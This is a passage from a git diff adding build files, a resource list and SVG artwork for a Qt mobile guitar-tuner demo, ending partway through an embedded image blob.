+++ b/demos/helper/qmlapplicationviewer/qmlapplicationviewer.pri
@@ -0,0 +1,156 @@
+# This file was generated by the Qt Quick Application wizard of Qt Creator.
+# The code below adds the QmlApplicationViewer to the project and handles the
+# activation of QML debugging.
+# It is recommended not to modify this file, since newer versions of Qt Creator
+# may offer an updated version of it.
+
+QT += declarative
+
+SOURCES += $$PWD/qmlapplicationviewer.cpp
+HEADERS += $$PWD/qmlapplicationviewer.h
+INCLUDEPATH += $$PWD
+
+# Include JS debugger library if QMLJSDEBUGGER_PATH is set
+!isEmpty(QMLJSDEBUGGER_PATH) {
+ include($$QMLJSDEBUGGER_PATH/qmljsdebugger-lib.pri)
+} else {
+ DEFINES -= QMLJSDEBUGGER
+}
+
+contains(CONFIG,qdeclarative-boostable):contains(MEEGO_EDITION,harmattan) {
+ DEFINES += HARMATTAN_BOOSTER
+}
+# This file was generated by an application wizard of Qt Creator.
+# The code below handles deployment to Symbian and Maemo, aswell as copying
+# of the application data to shadow build directories on desktop.
+# It is recommended not to modify this file, since newer versions of Qt Creator
+# may offer an updated version of it.
+
+defineTest(qtcAddDeployment) {
+for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ item = item$${deploymentfolder}
+ itemsources = $${item}.sources
+ $$itemsources = $$eval($${deploymentfolder}.source)
+ itempath = $${item}.path
+ $$itempath= $$eval($${deploymentfolder}.target)
+ export($$itemsources)
+ export($$itempath)
+ DEPLOYMENT += $$item
+}
+
+MAINPROFILEPWD = $$_PRO_FILE_PWD_
+
+symbian {
+ isEmpty(ICON):exists($${TARGET}.svg):ICON = $${TARGET}.svg
+ isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
+} else:win32 {
+ copyCommand =
+ for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ source = $$MAINPROFILEPWD/$$eval($${deploymentfolder}.source)
+ source = $$replace(source, /, \\)
+ sourcePathSegments = $$split(source, \\)
+ target = $$OUT_PWD/$$eval($${deploymentfolder}.target)/$$last(sourcePathSegments)
+ target = $$replace(target, /, \\)
+ target ~= s,\\\\\\.?\\\\,\\,
+ !isEqual(source,$$target) {
+ !isEmpty(copyCommand):copyCommand += &&
+ isEqual(QMAKE_DIR_SEP, \\) {
+ copyCommand += $(COPY_DIR) \"$$source\" \"$$target\"
+ } else {
+ source = $$replace(source, \\\\, /)
+ target = $$OUT_PWD/$$eval($${deploymentfolder}.target)
+ target = $$replace(target, \\\\, /)
+ copyCommand += test -d \"$$target\" || mkdir -p \"$$target\" && cp -r \"$$source\" \"$$target\"
+ }
+ }
+ }
+ !isEmpty(copyCommand) {
+ copyCommand = @echo Copying application data... && $$copyCommand
+ copydeploymentfolders.commands = $$copyCommand
+ first.depends = $(first) copydeploymentfolders
+ export(first.depends)
+ export(copydeploymentfolders.commands)
+ QMAKE_EXTRA_TARGETS += first copydeploymentfolders
+ }
+} else:unix {
+ maemo5 {
+ installPrefix = /opt/$${TARGET}
+ target.path = $${installPrefix}/bin
+ desktopfile.files = $${TARGET}.desktop
+ desktopfile.path = /usr/share/applications/hildon
+ icon.files = $${TARGET}64.png
+ icon.path = /usr/share/icons/hicolor/64x64/apps
+ } else:!isEmpty(MEEGO_VERSION_MAJOR) {
+ installPrefix = /opt/$${TARGET}
+ target.path = $${installPrefix}/bin
+ desktopfile.files = $${TARGET}_harmattan.desktop
+ desktopfile.path = /usr/share/applications
+ icon.files = $${TARGET}80.png
+ icon.path = /usr/share/icons/hicolor/80x80/apps
+ } else { # Assumed to be a Desktop Unix
+ installPrefix = $$desktopInstallPrefix
+ target.path = $${installPrefix}
+ sources.files = *.cpp *.h *.desktop *.png *.pro *.qml *.qmlproject *.svg
+ sources.path = $$desktopInstallPrefix
+ export(sources.files)
+ export(sources.path)
+ INSTALLS += sources
+ copyCommand =
+ for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ source = $$MAINPROFILEPWD/$$eval($${deploymentfolder}.source)
+ source = $$replace(source, \\\\, /)
+ macx {
+ target = $$OUT_PWD/$${TARGET}.app/Contents/Resources/$$eval($${deploymentfolder}.target)
+ } else {
+ target = $$OUT_PWD/$$eval($${deploymentfolder}.target)
+ }
+ target = $$replace(target, \\\\, /)
+ sourcePathSegments = $$split(source, /)
+ targetFullPath = $$target/$$last(sourcePathSegments)
+ targetFullPath ~= s,/\\.?/,/,
+ !isEqual(source,$$targetFullPath) {
+ !isEmpty(copyCommand):copyCommand += &&
+ copyCommand += $(MKDIR) \"$$target\"
+ copyCommand += && $(COPY_DIR) \"$$source\" \"$$target\"
+ }
+ }
+ !isEmpty(copyCommand) {
+ copyCommand = @echo Copying application data... && $$copyCommand
+ copydeploymentfolders.commands = $$copyCommand
+ first.depends = $(first) copydeploymentfolders
+ export(first.depends)
+ export(copydeploymentfolders.commands)
+ QMAKE_EXTRA_TARGETS += first copydeploymentfolders
+ }
+ }
+ for(deploymentfolder, DEPLOYMENTFOLDERS) {
+ item = item$${deploymentfolder}
+ itemfiles = $${item}.files
+ $$itemfiles = $$eval($${deploymentfolder}.source)
+ itempath = $${item}.path
+ $$itempath = $${installPrefix}/$$eval($${deploymentfolder}.target)
+ export($$itemfiles)
+ export($$itempath)
+ INSTALLS += $$item
+ }
+
+ !isEmpty(desktopfile.path) {
+ export(icon.files)
+ export(icon.path)
+ export(desktopfile.files)
+ export(desktopfile.path)
+ INSTALLS += icon desktopfile
+ }
+
+ export(target.path)
+ INSTALLS += target
+}
+
+export (ICON)
+export (INSTALLS)
+export (DEPLOYMENT)
+export (TARGET.EPOCHEAPSIZE)
+export (TARGET.CAPABILITY)
+export (LIBS)
+export (QMAKE_EXTRA_TARGETS)
+}
diff --git a/demos/mobile/guitartuner/guitartuner.pro b/demos/mobile/guitartuner/guitartuner.pro
new file mode 100644
index 00000000..62835300
--- /dev/null
+++ b/demos/mobile/guitartuner/guitartuner.pro
@@ -0,0 +1,89 @@
+#-------------------------------------------------
+#
+# Project created by QtCreator 2010-10-22T14:28:56
+#
+#-------------------------------------------------
+
+QT += core gui
+
+TARGET = guitartuner
+TEMPLATE = app
+
+ICON = images/guitartuner_icon.svg
+
+SOURCES += src/main.cpp\
+ src/guitartuner.cpp \
+ src/voicegenerator.cpp \
+ src/voiceanalyzer.cpp \
+ src/guitartunerui.cpp \
+ src/fastfouriertransformer.cpp
+
+HEADERS += src/guitartuner.h \
+ src/voicegenerator.h \
+ src/voiceanalyzer.h \
+ src/constants.h \
+ src/guitartunerui.h \
+ src/fastfouriertransformer.h
+
+FORMS += src/guitartunerui.ui
+
+VERSION = 1.2.0
+
+symbian {
+ INCLUDEPATH += /epoc32/include/mmf/common
+ INCLUDEPATH += /epoc32/include/mmf/server
+ LIBS += -lmmfdevsound
+ TARGET.UID3 = 0xEC46D2C8
+ # TARGET.CAPABILITY +=
+ # TARGET.EPOCSTACKSIZE = 0x14000
+ # TARGET.EPOCHEAPSIZE = 0x020000 0x1000000
+}
+
+RESOURCES += \
+ guitartuner.qrc
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+symbian {
+ contains(DEFINES, ORIENTATIONLOCK):LIBS += -lavkon -leikcore -leiksrv -lcone
+}
+
+
+# Add mobility into Qt's CONFIG, and add multimedia into MOBILITY.
+
+win32 {
+ QT += multimedia
+ RC_FILE = src/guitartuner.rc
+}
+else {
+ CONFIG += mobility
+ MOBILITY += multimedia
+}
+
+symbian {
+ TARGET.CAPABILITY = UserEnvironment
+}
+
+# Add declarative module
+QT += declarative
+
+OTHER_FILES += \
+ src/application.qml \
+ src/mycomponents/Adjuster.qml \
+ src/mycomponents/adjustbars.js \
+ src/mycomponents/ToggleButton.qml
+
+OTHER_FILES += \
+ src/mycomponents/NotesModel.qml \
+ src/mycomponents/NoteButtonView.qml \
+ src/mycomponents/Meter.qml
+
+unix:!symbian {
+ maemo5 {
+ target.path = /opt/usr/bin
+ } else {
+ target.path = /usr/local/bin
+ }
+ INSTALLS += target
+}
diff --git a/demos/mobile/guitartuner/guitartuner.qrc b/demos/mobile/guitartuner/guitartuner.qrc
new file mode 100644
index 00000000..d8ba0199
--- /dev/null
+++ b/demos/mobile/guitartuner/guitartuner.qrc
@@ -0,0 +1,43 @@
+<RCC>
+ <qresource prefix="/">
+ <file>src/application.qml</file>
+ <file>src/mycomponents/adjustbars.js</file>
+ <file>src/mycomponents/Adjuster.qml</file>
+ <file>src/mycomponents/Meter.qml</file>
+ <file>src/mycomponents/NoteButtonView.qml</file>
+ <file>src/mycomponents/NotesModel.qml</file>
+ <file>src/mycomponents/ToggleButton.qml</file>
+ <file>src/mycomponents/images/meterBG.png</file>
+ <file>src/mycomponents/images/pointerShadow.png</file>
+ <file>src/mycomponents/images/sensitivity.png</file>
+ <file>src/mycomponents/images/tuner_a.png</file>
+ <file>src/mycomponents/images/tuner_a_on.png</file>
+ <file>src/mycomponents/images/tuner_b.png</file>
+ <file>src/mycomponents/images/tuner_b_on.png</file>
+ <file>src/mycomponents/images/tuner_d.png</file>
+ <file>src/mycomponents/images/tuner_d_on.png</file>
+ <file>src/mycomponents/images/tuner_e.png</file>
+ <file>src/mycomponents/images/tuner_e_on.png</file>
+ <file>src/mycomponents/images/tuner_g.png</file>
+ <file>src/mycomponents/images/tuner_g_on.png</file>
+ <file>src/mycomponents/images/voicemode_off.png</file>
+ <file>src/mycomponents/images/voicemode_on.png</file>
+ <file>src/mycomponents/images/volume.png</file>
+ <file>src/mycomponents/images/volume_off.png</file>
+ <file>src/mycomponents/images/guitartuner_skin.png</file>
+ <file>src/mycomponents/images/power.png</file>
+ <file>src/mycomponents/images/tuner_auto.png</file>
+ <file>src/mycomponents/images/tuner_auto_on.png</file>
+ <file>src/mycomponents/images/big_a.png</file>
+ <file>src/mycomponents/images/big_b.png</file>
+ <file>src/mycomponents/images/big_d.png</file>
+ <file>src/mycomponents/images/big_e.png</file>
+ <file>src/mycomponents/images/big_g.png</file>
+ <file>src/mycomponents/images/glowing_a.png</file>
+ <file>src/mycomponents/images/glowing_b.png</file>
+ <file>src/mycomponents/images/glowing_d.png</file>
+ <file>src/mycomponents/images/glowing_e.png</file>
+ <file>src/mycomponents/images/glowing_g.png</file>
+ <file>src/mycomponents/images/pointer.png</file>
+ </qresource>
+</RCC>
diff --git a/demos/mobile/guitartuner/images/guitartab.svg b/demos/mobile/guitartuner/images/guitartab.svg
new file mode 100644
index 00000000..9d88d5d2
--- /dev/null
+++ b/demos/mobile/guitartuner/images/guitartab.svg
@@ -0,0 +1,174 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="70.661781"
+ height="55.997791"
+ id="svg2"
+ version="1.1"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="guitartab.svg">
+ <defs
+ id="defs4">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 526.18109 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="744.09448 : 526.18109 : 1"
+ inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+ id="perspective10" />
+ <inkscape:perspective
+ id="perspective3604"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3632"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3632-4"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3632-9"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3632-8"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3632-2"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3690"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3712"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="0.98994949"
+ inkscape:cx="343.43632"
+ inkscape:cy="198.00574"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="false"
+ inkscape:window-width="1280"
+ inkscape:window-height="888"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ showguides="true"
+ inkscape:guide-bbox="true"
+ borderlayer="true" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ <dc:title />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1"
+ transform="translate(-45.793001,-702.07386)">
+ <rect
+ style="fill:#ffffff;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.96666431;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;stroke-dashoffset:0"
+ id="rect3728"
+ width="68.695114"
+ height="54.031128"
+ x="46.776333"
+ y="703.05719" />
+ <g
+ id="g3732"
+ transform="matrix(0.11166616,0,0,0.11166616,41.003771,673.42071)">
+ <path
+ sodipodi:nodetypes="cc"
+ id="path2816"
+ d="m 133.63811,570.46864 0,-225.36571"
+ style="fill:none;stroke:#000000;stroke-width:17.61199951;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ sodipodi:nodetypes="cc"
+ id="path2816-7"
+ d="m 223.89631,570.46864 0,-225.36571"
+ style="fill:none;stroke:#000000;stroke-width:17.61199951;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ sodipodi:nodetypes="cc"
+ id="path2816-0"
+ d="m 314.15451,570.46864 0,-225.36571"
+ style="fill:none;stroke:#000000;stroke-width:17.61199951;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ sodipodi:nodetypes="cc"
+ id="path2816-4"
+ d="m 404.4127,570.46864 0,-225.36571"
+ style="fill:none;stroke:#000000;stroke-width:17.61199951;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ sodipodi:nodetypes="cc"
+ id="path2816-8"
+ d="m 494.6709,570.46864 0,-225.36571"
+ style="fill:none;stroke:#000000;stroke-width:17.61199951;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ sodipodi:nodetypes="cc"
+ id="path2816-45"
+ d="m 584.92911,570.46864 0,-225.36571"
+ style="fill:none;stroke:#000000;stroke-width:17.61199951;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ sodipodi:nodetypes="cc"
+ id="path2816-5"
+ d="m 124.89988,344.21478 468.77277,0"
+ style="fill:none;stroke:#000000;stroke-width:19.51578331;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ sodipodi:nodetypes="cc"
+ id="path2816-5-1"
+ d="m 125.76355,400.6818 467.80305,0"
+ style="fill:none;stroke:#000000;stroke-width:19.4955883;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ </g>
+ </g>
+</svg>
diff --git a/demos/mobile/guitartuner/images/guitartuner_icon.svg b/demos/mobile/guitartuner/images/guitartuner_icon.svg
new file mode 100644
index 00000000..de7ebe0f
--- /dev/null
+++ b/demos/mobile/guitartuner/images/guitartuner_icon.svg
@@ -0,0 +1,247 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Generator: Adobe Illustrator 15.0.2, SVG Export Plug-In -->
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
+ <!ENTITY ns_flows "http://ns.adobe.com/Flows/1.0/">
+]>
+<svg version="1.1"
+ xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:a="http://ns.adobe.com/AdobeSVGViewerExtensions/3.0/"
+ x="0px" y="0px" width="128px" height="128px" viewBox="0 0 128 128" overflow="visible" enable-background="new 0 0 128 128"
+ xml:space="preserve">
+<defs>
+</defs>
+<rect x="0" display="none" fill="#1A171B" width="128" height="128"/>
+<circle fill="#13235B" cx="64" cy="64" r="47"/>
+<g>
+ <g>
+ <path fill="#F29400" d="M14.352,113.699c0,0-13.927-13.928-3.122-24.732c7.203-7.205,11.706-2.701,15.308-6.305
+ c3.602-3.601,1.417-6.729,5.28-10.84c7.547-8.035,15.842,3.149,15.842,3.149l4.765,4.765l-7.204,7.204
+ c0,0,5.134,7.943,12.338,0.74c-3.827,10.578-9.411,9.39-13.014,12.99c-3.602,3.603,0.854,8.058-6.303,15.31
+ C27.508,126.855,14.352,113.699,14.352,113.699z"/>
+ </g>
+ <defs>
+ <filter id="Adobe_OpacityMaskFilter" filterUnits="userSpaceOnUse" x="7.122" y="68.918" width="50.437" height="51.368">
+
+ <feColorMatrix type="matrix" values="-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0" color-interpolation-filters="sRGB" result="source"/>
+ </filter>
+ </defs>
+ <mask maskUnits="userSpaceOnUse" x="7.122" y="68.918" width="50.437" height="51.368" id="SVGID_1_">
+ <g filter="url(#Adobe_OpacityMaskFilter)">
+
+ <image overflow="visible" width="55" height="57" xlink:href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/+4AIUFkb2JlAGTAAAAAAQMA
+EAMCAwYAAAG8AAACPgAAAr//2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
+Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
+JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIADkANwMBIgACEQEDEQH/
+xAB9AAABBQEBAAAAAAAAAAAAAAAAAgQFBgcBAwEBAAAAAAAAAAAAAAAAAAAAABAAAgMAAgICAwAA
+AAAAAAAAAgMBBAUABhBAMBEhEiMRAAICAQMFAQAAAAAAAAAAAAECABEhEEESIDFRIgMwEgEAAAAA
+AAAAAAAAAAAAAABA/9oADAMBAAIRAxEAAADPwAc+F5Kkx0alEcAdmuaSVq5PFkFles5qQR0J/T8X
+0IuyGbQrdAm4IAAcNwsnjAgpIAAf/9oACAECAAEFAPQ//9oACAEDAAEFAPQ//9oACAEBAAEFAPNa
+k2xx+W5UTExPlYSw8bI/jezBFerWBTeCJGVDrjrEZPT1qZUzgSvZT+qtc2zc516mL25WcuABIBHN
+loQvbZXln3+eruEG5bRJfGnAB27WJKzYbC5TslWfh7YECtNZDoagQvst6LDfNW8+qVbtBCN3sRtF
+jDYfw//aAAgBAgIGPwAH/9oACAEDAgY/AAf/2gAIAQEBBj8A1tRichkSj36FRcljUW12hsQlcHQK
+osnsIC952EH0ZbPkwCo1DaOrigD66cmF5gxMDRrMY4Jl7Tie9wVoTGCnJwIWc2Tov0U43i+0u4aM
+4A3m+i0bHiU5IMKoSSYXc2T+X//Z" transform="matrix(1 0 0 1 5.0005 66)">
+ </image>
+ </g>
+ </mask>
+ <g mask="url(#SVGID_1_)">
+ <path fill="#B20000" d="M14.352,113.699c0,0-13.927-13.928-3.122-24.732c7.203-7.205,11.706-2.701,15.308-6.305
+ c3.602-3.601,1.417-6.729,5.28-10.84c7.547-8.035,15.842,3.149,15.842,3.149l4.765,4.765l-7.204,7.204
+ c0,0,5.134,7.943,12.338,0.74c-3.827,10.578-9.411,9.39-13.014,12.99c-3.602,3.603,0.854,8.058-6.303,15.31
+ C27.508,126.855,14.352,113.699,14.352,113.699z"/>
+ </g>
+</g>
+<g>
+ <path fill="#FFEDB8" d="M37.791,69.168c5.189,0,9.624,5.894,9.692,5.98l4.588,4.588l-7.027,7.027l-0.143,0.143l0.11,0.17
+ c0.102,0.158,2.55,3.875,6.503,3.875c1.808,0,3.63-0.791,5.427-2.352c-2.541,6.327-5.777,7.936-8.649,9.362
+ c-1.422,0.707-2.765,1.374-3.924,2.532c-1.562,1.562-1.672,3.261-1.8,5.227c-0.171,2.633-0.384,5.909-4.504,10.084
+ c-2.771,2.808-5.958,4.231-9.472,4.231c-7.46,0-14-6.448-14.064-6.514c-0.137-0.138-13.625-13.877-3.122-24.379
+ c4.152-4.153,7.301-4.348,10.078-4.519c1.97-0.122,3.67-0.227,5.229-1.786c1.829-1.829,2.218-3.585,2.595-5.284
+ c0.384-1.735,0.782-3.529,2.69-5.562C33.761,70.118,35.709,69.168,37.791,69.168 M37.791,68.918c-1.932,0-3.979,0.781-5.974,2.904
+ c-3.862,4.11-1.678,7.239-5.28,10.84c-3.602,3.604-8.104-0.9-15.308,6.305c-10.805,10.805,3.122,24.732,3.122,24.732
+ s6.586,6.587,14.241,6.587c3.164,0,6.51-1.126,9.649-4.306c7.157-7.252,2.701-11.707,6.303-15.31
+ c3.603-3.601,9.187-2.412,13.014-12.99c-2.248,2.247-4.293,3.021-6.044,3.021c-3.862,0-6.293-3.761-6.293-3.761l7.204-7.204
+ l-4.765-4.765C47.66,74.972,43.17,68.918,37.791,68.918L37.791,68.918z"/>
+</g>
+<rect x="35.983" y="67.296" transform="matrix(-0.7071 0.7071 -0.7071 -0.7071 146.0415 81.7395)" fill="#41281B" width="40.217" height="7.64"/>
+<rect x="35.697" y="84.509" transform="matrix(-0.7073 0.707 -0.707 -0.7073 128.185 124.851)" fill="#ECEDED" width="5.092" height="8.913"/>
+<rect x="27.593" y="92.612" transform="matrix(-0.7072 0.7071 -0.7071 -0.7072 120.0864 144.402)" fill="#ECEDED" width="5.092" height="8.914"/>
+<rect x="24.55" y="96.293" transform="matrix(-0.7071 0.7071 -0.7071 -0.7071 115.1376 156.3543)" fill="#F6F6F6" width="1.273" height="11.46"/>
+<rect x="26.351" y="94.491" transform="matrix(-0.7071 0.7071 -0.7071 -0.7071 116.9377 152.0052)" fill="#F6F6F6" width="1.273" height="11.461"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="23.499" y1="99.433" x2="66.495" y2="56.438"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="28" y1="103.934" x2="70.997" y2="60.941"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="27.101" y1="103.034" x2="70.096" y2="60.04"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="26.2" y1="102.134" x2="69.196" y2="59.139"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="25.3" y1="101.233" x2="68.295" y2="58.239"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="24.4" y1="100.333" x2="67.395" y2="57.339"/>
+<circle fill="#1A171B" cx="26.908" cy="113.596" r="1.761"/>
+<path fill="#1A171B" d="M33.138,107.366c0.688,0.687,0.688,1.804,0,2.493c-0.688,0.686-1.804,0.686-2.492,0
+ c-0.688-0.689-0.688-1.807,0-2.493C31.334,106.678,32.45,106.678,33.138,107.366z"/>
+<circle fill="#FFEDB8" cx="36.848" cy="75.131" r="1.762"/>
+<circle fill="#1A171B" cx="32.31" cy="115.397" r="1.762"/>
+<path fill="#1A171B" d="M38.54,109.167c0.689,0.687,0.689,1.804,0,2.493c-0.688,0.686-1.804,0.686-2.492,0
+ c-0.688-0.689-0.688-1.807,0-2.493C36.736,108.479,37.852,108.479,38.54,109.167z"/>
+<g>
+ <g>
+ <path fill="#ECEDED" d="M105.895,10.52l2.704,2.702L70.764,51.056c0,0-2.702,2.702,0,5.404c2.704,2.702,5.405,0,5.405,0
+ l37.833-37.833l2.704,2.702c0,0-35.132,35.131-37.835,37.833c-2.702,2.702-8.107,2.702-10.81,0s-2.702-8.106,0-10.809
+ C70.765,45.649,105.895,10.52,105.895,10.52z"/>
+ </g>
+ <defs>
+ <filter id="Adobe_OpacityMaskFilter_1_" filterUnits="userSpaceOnUse" x="66.036" y="10.52" width="50.671" height="50.669">
+
+ <feColorMatrix type="matrix" values="-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0" color-interpolation-filters="sRGB" result="source"/>
+ </filter>
+ </defs>
+ <mask maskUnits="userSpaceOnUse" x="66.036" y="10.52" width="50.671" height="50.669" id="SVGID_2_">
+ <g filter="url(#Adobe_OpacityMaskFilter_1_)">
+
+ <image overflow="visible" width="55" height="56" xlink:href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/+4AIUFkb2JlAGTAAAAAAQMA
+EAMCAwYAAAGyAAACNwAAA9T/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
+Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
+JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIADgANwMBIgACEQEDEQH/
+xACCAAEBAQADAAAAAAAAAAAAAAAABgQDBQcBAQAAAAAAAAAAAAAAAAAAAAAQAQEBAAIDAQEAAAAA
+AAAAAAUEBhADACBAAQIRAAIBAgQEBgIDAQAAAAAAAAECAxEEACFREjHBQgUQIGEyUhNBFZEiIwYS
+AQAAAAAAAAAAAAAAAAAAAED/2gAMAwEAAhEDEQAAAPPwDcOwp4w61WCTNwt0YL95scjGN1vxSIv3
+mwzgBUdyENnAAD//2gAIAQIAAQUA+D//2gAIAQMAAQUA+D//2gAIAQEAAQUA9Bx7GLNSHCL3+g49
+jFiKJuMNONS0CLmRkOQ4HHsYsRRNxhppqWgSqqJwxPatd3JeDj2MWIom4w001LQJVVE4Ym66pCrw
+cexixFE3GGmmpaBKqonDE3XVIVcZ+r9JwppqWgSqqJwxN11SFXOV1/8ABHR3bgAvouuqQq9P/9oA
+CAECAgY/AAf/2gAIAQMCBj8AB//aAAgBAQEGPwDyLaWi1Jzdz7UXU4ht7e4+2bb/ALJxofl6eVbS
+0WpObufai6nH6ztlJO4yCskhzNT1vyGPrjrJNId00zZhQepuQx22xhudz3kkcMgNNw3sF3j+fFbS
+0WpObufai6nH6ztlJO4yCskhzNT1vyGPrjrJNId00zZhQepuQwLe3AlvpRkOt3+TaAYXuksm+6SR
+ZVY8AUO5QBoPBbS0WpObufai6nH6ztlJO4yCskhzNT1vyGPrjrJNId00zZhQepuQwLe3AlvpRkOt
+3+TaAYe7u3Mk0hqSeAGg9PBbS0WpObufai6nH6ztlJO4yCskhzNT1vyGPrjrJNId00zZhQepuQwL
+e3AlvpRkOt3+TaAYe7u3Mk0hqSeAGg9PGfuVrFW6ZnBYCpru2Bm9Fx9cdZJpDummbMKD1NyGBb24
